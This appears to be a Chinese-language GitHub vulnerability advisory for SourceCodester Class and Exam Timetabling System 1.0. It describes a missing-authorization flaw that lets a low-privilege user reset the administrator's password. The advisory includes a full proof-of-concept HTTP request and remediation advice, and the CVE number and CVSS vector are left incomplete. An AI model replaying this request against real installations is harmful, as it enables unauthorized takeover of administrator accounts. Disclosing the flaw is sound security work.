Greejith-k/SourceCodester-Class-and-Exam-Timetabling-System-1.0-CVE-2026-
GitHub: Greejith-k/SourceCodester-Class-and-Exam-Timetabling-System-1.0-CVE-2026-
该项目披露了 SourceCodester 排课系统中因密码更新接口缺失授权检查而导致低权限用户可越权修改管理员密码的提权漏洞(CWE-862)。
Stars: 0 | Forks: 0
# SourceCodester-Class-and-Exam-Timetabling-System-1.0 CVE-2026-
# 摘要
SourceCodester Class and Exam Timetabling System 1.0 中存在一个提权漏洞。该应用程序在处理密码更新请求时,未能执行适当的授权检查。因此,经过身份验证的低权限用户(CIT 账户)可以在仅使用自己有效身份验证会话的情况下,提交针对其他用户(包括管理员)的修改后的密码更新请求。
供应商 : SourceCodester
产品 : Class and Exam Timetabling System
受影响版本 : Version 1.0
漏洞类型 : CWE-862: 缺失授权
# 漏洞描述
密码更新功能使用用户的会话进行身份验证,但没有正确验证经过身份验证的用户是否有权修改指定账户。
经过身份验证的 CIT 用户可以在密码更新过程中更改标识目标账户的参数。服务器在未验证所有权或权限级别的情况下接受了该请求,从而允许修改其他用户(包括管理员账户)的密码。
该漏洞是由缺失服务器端授权检查引起的,而不是身份验证绕过。
攻击要求
有效的经过身份验证的 CIT 账户。
访问该应用程序的网络权限。
# 影响
成功利用此漏洞可使低权限的已验证用户能够:
重置或更改管理员密码。
获取管理员访问权限。
破坏应用程序的机密性、完整性和可用性。
以提升的权限执行管理操作。
# 复现步骤
## 复现步骤
1. 获取有效的已验证 **CIT** 用户会话。
2. 截取以下 HTTP 请求,并将 `PHPSESSID` cookie 的值替换为已验证 **CIT** 用户的会话 ID。
3. 在不修改任何其他参数的情况下发送请求。
4. 观察应用程序是否接受了该请求并更新了管理员账户(ID 为 `4`),包括将管理员密码更改为 `admin1`,即使该请求是使用低权限的 CIT 账户进行身份验证的。
5. 使用更新后的管理员凭据登录,以验证密码更改是否成功。
```
POST /admin/edit_user_account.php?id=4 HTTP/1.1
Host: 192.168.100.239
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundarycefebca77ad81633db8134c41af7b99d
Origin: http://192.168.100.239
Referer: http://192.168.100.239/admin/edit_user_account.php?id=4
Cookie: PHPSESSID=
------geckoformboundarycefebca77ad81633db8134c41af7b99d
Content-Disposition: form-data; name="name"
ching
------geckoformboundarycefebca77ad81633db8134c41af7b99d
Content-Disposition: form-data; name="department"
Admin
------geckoformboundarycefebca77ad81633db8134c41af7b99d
Content-Disposition: form-data; name="username"
ADMIN
------geckoformboundarycefebca77ad81633db8134c41af7b99d
Content-Disposition: form-data; name="password"
admin1
------geckoformboundarycefebca77ad81633db8134c41af7b99d
Content-Disposition: form-data; name="update"
------geckoformboundarycefebca77ad81633db8134c41af7b99d--
```
**预期结果**
服务器应该拒绝该请求,因为经过身份验证的 CIT 用户无权修改管理员账户。
**实际结果**
服务器成功处理了该请求并更新了管理员账户,这表明缺失了服务器端的授权检查。
# 修复建议
对每个密码修改请求执行服务器端授权检查。
在确定目标账户时,忽略客户端提供的用户标识符。
仅将经过身份验证的会话标识用于自助密码更改。
将管理性密码管理限制为已授权的管理员角色。
记录并监控密码更改事件。
针对访问控制失效(Broken Access Control)漏洞实施安全测试。
CVSS v3.1
向量: AV/AC/PR/UI/S/C/I/A
基础得分: 8.8 (高)
致谢
由 Greejith K. 发现并负责任地报告。
致谢
由 Greejith K. 发现并负责任地报告。标签:CVE, OpenVAS, PHP, 协议分析, 教育系统, 数字签名, 权限提升, 漏洞披露, 网页分析工具